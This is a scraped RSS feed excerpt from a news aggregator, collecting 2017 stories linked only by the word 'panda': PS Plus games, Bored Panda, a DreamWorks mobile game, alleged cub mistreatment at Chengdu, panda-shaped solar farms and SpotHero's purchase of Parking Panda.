https://briefnews.eu/revo-loo-tionary-tissue-panda-poop-turned-into-luxury-paper-in-china/feed/ 0
PS Plus December 2017 games REVEALED: Darksiders 2, Kung Fu Panda headline PS4 lineup https://briefnews.eu/ps-plus-december-2017-games-revealed-darksiders-2-kung-fu-panda-headline-ps4-lineup/ https://briefnews.eu/ps-plus-december-2017-games-revealed-darksiders-2-kung-fu-panda-headline-ps4-lineup/#respond Wed, 29 Nov 2017 17:20:21 +0000 http://briefnews.eu/ps-plus-december-2017-games-revealed-darksiders-2-kung-fu-panda-headline-ps4-lineup/

PlayStation Plus December 2017 free games have been revealed by Sony.

, the December batch of free PS Plus games are headlined by Darksiders 2 Deathinitive Edition and Kung Fu Panda: Showdown of Legendary Legends on .

These games are joined by Until Dawn: Rush of Blood on PlayStation VR and That’s You! on PlayLink.

PS3 games include Xblaze Lost Memories and Syberia Collection, while free Vita releases are made up of Forma 8 and wanted Corp.

PS Plus members will be able to download the new releases from Tuesday, December 5 at midday.

You can check out the latest batch of PlayStation Plus games in the gallery below…

Darksiders II: Deathinitive Edition: “Forget your zombie apocalypses and your post-nuclear wastelands: the End Times OGs are here to show you how it’s done and they’ve brought a flaming ethereal horse – well, at least one of them did.

“Yup, this month’s PS Plus selection kicks off with Darksiders II: Deathinitive Edition. A remaster of the PS3 action adventure, the ‘Deathinitive’ edition has been carefully polished for PS4 with upgraded visuals across the board and all the original DLC bundled in for good measure.

“Oozing with the brutal cool of a goth-metal guitarist, you’ll take on the role of legendary Horseman, Death, as he runs a scythe through various celestial plains in a quest to avenge his brother. Pummel enemies, collect weapons and work to uncover an ancient grudge that threatens all creation – it’s pure comic-book fantasy and it’s great fun.”

Kung Fu Panda: Showdown of the Legendary Legends: “What is Christmas about if not the act of loved ones casually bashing the stuffing out of one other as characters from a popular animated film series? Well, every family is different, I suppose…

“Joking aside, if you do find yourself in need of a little family-friendly banter over the coming month, then Po and company should be able to sort you out. The premise is simple enough: one to four players hop into the arena as classic characters from the film series and go head-to-head to be crowned the ultimate kung fu master.

“Each character brings their own unique kung fu style to the mix as they battle it out across the Valley of Peace in numerous locations that will be familiar to anyone who’s seen the Kung Fu Panda films. It’s silly, simple-to-pick up and a great way to let off some steam.”

Let’s block ads! (Why?)

Daily Express :: Entertainment Feed

]]>
https://briefnews.eu/ps-plus-december-2017-games-revealed-darksiders-2-kung-fu-panda-headline-ps4-lineup/feed/ 0
How Bored Panda Survived Facebook’s Clickbait Purge https://briefnews.eu/how-bored-panda-survived-facebooks-clickbait-purge/ https://briefnews.eu/how-bored-panda-survived-facebooks-clickbait-purge/#respond Tue, 28 Nov 2017 22:22:59 +0000 http://briefnews.eu/how-bored-panda-survived-facebooks-clickbait-purge/ As other viral publishers succumb to Facebook’s algorithm changes, Bored Panda thrives with a mix of photos, animal stories, and funny lists.


https://media.wired.com/photos/5a1381c726ac5a17866bb9f5/master/pass/boredpanda-01-FA.jpg
Feed: All Latest

]]>
https://briefnews.eu/how-bored-panda-survived-facebooks-clickbait-purge/feed/ 0
Dreamworks Universe of Legends: Where Shrek meets Kung-Fu Panda and dragons https://briefnews.eu/dreamworks-universe-of-legends-where-shrek-meets-kung-fu-panda-and-dragons/ https://briefnews.eu/dreamworks-universe-of-legends-where-shrek-meets-kung-fu-panda-and-dragons/#respond Thu, 26 Oct 2017 07:46:35 +0000 http://briefnews.eu/dreamworks-universe-of-legends-where-shrek-meets-kung-fu-panda-and-dragons/


Firefly Games is unveiling DreamWorks Universe of Legends, which brings a number of entertainment franchises into a single mobile game. Now you can play with DreamWorks characters from Shrek, Kung Fu Panda, Madagascar, and more.

Los Angeles-based Firefly Games and entertainment company Riva Group have created an action role-playing game with more than 40 heroes and villains from DreamWorks animated films. It is available on iOS and Android.

Above: You can play with 40 heroes and villains in DreamWorks Universe of Legends.

Image Credit: Firefly Games

“DreamWorks properties have touched the hearts and minds of millions of fans around the world,” said Paul Riva, the chairman of the Riva Group, in a statement. “Firefly Games – with their ability to reach a truly global audience with their presence in the U.S. and China makes for the perfect partner to create and share this unified DreamWorks gaming experience.”

The development studio designed DreamWorks Universe of Legends with Western and Eastern markets in mind. The combination of iconic DreamWorks characters could be appealing on a global basis, the companies believe.

“We are truly honored to have the opportunity to bring multiple worlds of DreamWorks into one grand and unique adventure,” said Michael Zhang, CEO of Firefly Games, in a statement. “We’re eager to bring exciting new content to DreamWorks fans and gamers alike.”

The game has familiar DreamWorks worlds, such as the Valley of Peace from Kung Fu Panda, the Isle of Berk from How to Train Your Dragon, the Swamp from Shrek. The movies represented in the game include Kung Fu Panda, How to Train Your Dragon, Shrek, Madagascar, The Croods, Penguins of Madagascar, Megamind,
Mr. Peabody & Sherman, Rise of the Guardians, Turbo, Monsters vs Aliens, Bee Movie, and Shark Tale.

Above: DreamWorks Universe of Legends is an action RPG.

Image Credit: Firefly Games

It has a real-time tactical party-based combat, upgradable gear, and dynamic skills. It has both single-player and player-versus-player modes.

And it features DreamWorks Hideaway, a hub with a customizable base where players can find new quests, level-up their legends, manage resources, and chat with other players.

Firefly Games was founded in January 2015 by Zhang and KJ Lin. Its previous games included Rush of Heroes and Dungeon Crash. The Riva Group is a design and development studio with offices around the world.

Firefly has 35 employees, including 20 in Los Angeles. It has raised $ 18 million in two rounds, it was valued at more than $ 100 million in its most recent round. Its focus is on creating mid-core games, or those that are hardcore in nature with short play sessions for mobile devices.

The Riva Group is an entertainment company that has worked with a variety of studios on location-based entertainment parks, game licensing, VR, and other media.

 

VentureBeat

]]>
https://briefnews.eu/dreamworks-universe-of-legends-where-shrek-meets-kung-fu-panda-and-dragons/feed/ 0
Famous Chinese panda facility under fire over animal cruelty footage (VIDEO) https://briefnews.eu/famous-chinese-panda-facility-under-fire-over-animal-cruelty-footage-video/ https://briefnews.eu/famous-chinese-panda-facility-under-fire-over-animal-cruelty-footage-video/#respond Sat, 29 Jul 2017 14:59:05 +0000 http://briefnews.eu/famous-chinese-panda-facility-under-fire-over-animal-cruelty-footage-video/

Chinese social media is in uproar over video that appears to show two giant panda cubs being abused at Chengdu Panda Base, the country’s prestigious breeding facility for the animals.

In the video, a panda handler identified as Guo Jingpeng and a colleague can be seen handling panda cubs in a rough manner, throwing them across the floor while attempting to leave the enclosure.

The video, which surfaced online earlier this month, has recently received widespread backlash after going viral on the Chinese internet. Social media users have accused the handlers of cruelty, reports state news agency Xinhua.

The Chengdu Panda Base has been criticized for the footage, casting doubt over how well pandas are cared for at the facility.

The breeder has reportedly responded to the footage saying the animal handler acted too harshly, and that they have ordered the staff to treat the panda’s gently.

There are currently just over 1,800 giant pandas in the wild in China, according to the WWF.

In September 2016, the panda was downgraded from the endangered animal list to ‘vulnerable’ status on the global list of at risk species.

Let’s block ads! (Why?)

RT – Daily news

]]>
https://briefnews.eu/famous-chinese-panda-facility-under-fire-over-animal-cruelty-footage-video/feed/ 0
A Chinese energy company is building 100 solar farms shaped like panda bears https://briefnews.eu/a-chinese-energy-company-is-building-100-solar-farms-shaped-like-panda-bears/ https://briefnews.eu/a-chinese-energy-company-is-building-100-solar-farms-shaped-like-panda-bears/#respond Tue, 25 Jul 2017 09:36:25 +0000 http://briefnews.eu/a-chinese-energy-company-is-building-100-solar-farms-shaped-like-panda-bears/ Panda solar farmPanda Green Energy Group/Handout via REUTERS

BEIJING/HONG KONG (Reuters) – In a country where you can find everything from chopsticks to slippers designed to look like pandas, one Chinese energy company is going a step further by building 100 solar farms shaped like the bears along the route of the ambitious Belt and Road initiative.

Panda Green Energy Group has already connected one such 50-megawatt (MW) plant to the grid in the northern province of Shanxi, the first step in a public relations stunt that emphasizes the cuddly side of the world’s No.2 economy.

Built with darker crystalline silicon and lighter-colored thin film solar cells, the plant resembles a cartoon giant panda from the air.

“The plant required an investment of 350 million yuan ($ 52 million), and it would require investment of $ 3 billion for 100 such plants,” Panda Green Energy’s Chief Executive Li Yuan told Reuters.

Li did not say where the longer-term investment would come from.

The Hong Kong-based firm is currently in talks with Canada, Australia, Germany and Italy to launch more panda-shaped power stations.

The Belt and Road initiative is a plan to emulate the ancient Silk Road by opening new trade corridors across the globe using roads, power lines, ports and energy pipelines.

A 100-MW panda power plant would be expected to generate 3.2 billion kilowatt-hours (kWh) of energy over 25 years, according to the company, capable of supplying power to over 10,000 households annually.

Panda Green Energy is currently constructing its second panda power plant in Shanxi, which accounts for a quarter of China’s coal reserves.

Utilization of one panda solar power plant will save the equivalent of a total 1.06 million tonnes of coal and cut emissions of greenhouse gases by 2.74 million tonnes in 25 years, the company said.

The firm has been investing in and running solar power plants in China’s major solar hubs such as Xinjiang and Qinghai province, as well as some solar projects in Britain.

Shanxi aims to install 12 gigawatts of solar capacity by 2020 versus 1.13 GW installed in 2015.

 

NOW WATCH: Here’s how LeBron James reacted when he learned Kevin Durant was joining the Warriors

Feedburner

]]>
https://briefnews.eu/a-chinese-energy-company-is-building-100-solar-farms-shaped-like-panda-bears/feed/ 0
SpotHero snaps up rival Parking Panda to boost its B2B credentials and expand into Canada https://briefnews.eu/spothero-snaps-up-rival-parking-panda-to-boost-its-b2b-credentials-and-expand-into-canada/ https://briefnews.eu/spothero-snaps-up-rival-parking-panda-to-boost-its-b2b-credentials-and-expand-into-canada/#respond Thu, 13 Apr 2017 10:43:30 +0000 http://briefnews.eu/spothero-snaps-up-rival-parking-panda-to-boost-its-b2b-credentials-and-expand-into-canada/


Parking inventory and booking startup SpotHero has acquired rival Parking Panda. Terms of the deal were not disclosed.

Founded out of Chicago in 2011, SpotHero connects garages, lots, and valets with drivers across the U.S. The company has raised $ 27 million in funding, and today’s news comes hot on the heels of a flurry of activity from the startup — back in February it launched its new developer platform to extend its parking inventory into third-party apps. And last month it launched SpotHero for Business.

Founded out of Baltimore the very same year as SpotHero, Parking Panda is a similar proposition to SpotHero, in that it allows drivers to find and reserve parking in dozens of cities across North America. However, Parking Panda has a particular focus on event parking reservations and has already established hundreds of partnerships with many sports teams from across the NHL, NFL, MLB, and NBA, in addition to teaming up with other arenas and convention centers.

Given that Parking Panda expanded into Canada in 2016, this acquisition also serves SpotHero its first international footprint, albeit only in Toronto, for now. Moreover, given Parking Panda’s existing focus on the B2B realm, this should go some way toward boosting SpotHero’s recent expansion into business parking.

“We’ve long admired Parking Panda’s talented team and ability to drive product innovation,” explained Mark Lawrence, cofounder and CEO of SpotHero. “SpotHero’s consumer focus and great mobile experience are further strengthened by Parking Panda’s strong B2B technology and partnerships.”

Moving forward, SpotHero said that it will “accelerate its aggressive B2B product roadmap” by integrating Parking Panda’s technology. Moreover, the fact that Parking Panda’s engineering team is now joining SpotHero should go some way toward helping SpotHero build out its own platform.

“This is the most natural progression for our company,” said Parking Panda CEO and founder, Adam Zilberbaum. “By joining forces, we will have a greater impact on the transportation landscape, making parking more convenient through technology.”

Lawrence will continue to serve as SpotHero CEO, while Parking Panda’s Zilberbaum, alongside COO James Bain, will also remain with the new combined company.

SpotHero has only made one previous acquisition, back in 2015, when it snapped up San Francisco-based rival ParkPlease.

VentureBeat

]]>
https://briefnews.eu/spothero-snaps-up-rival-parking-panda-to-boost-its-b2b-credentials-and-expand-into-canada/feed/ 0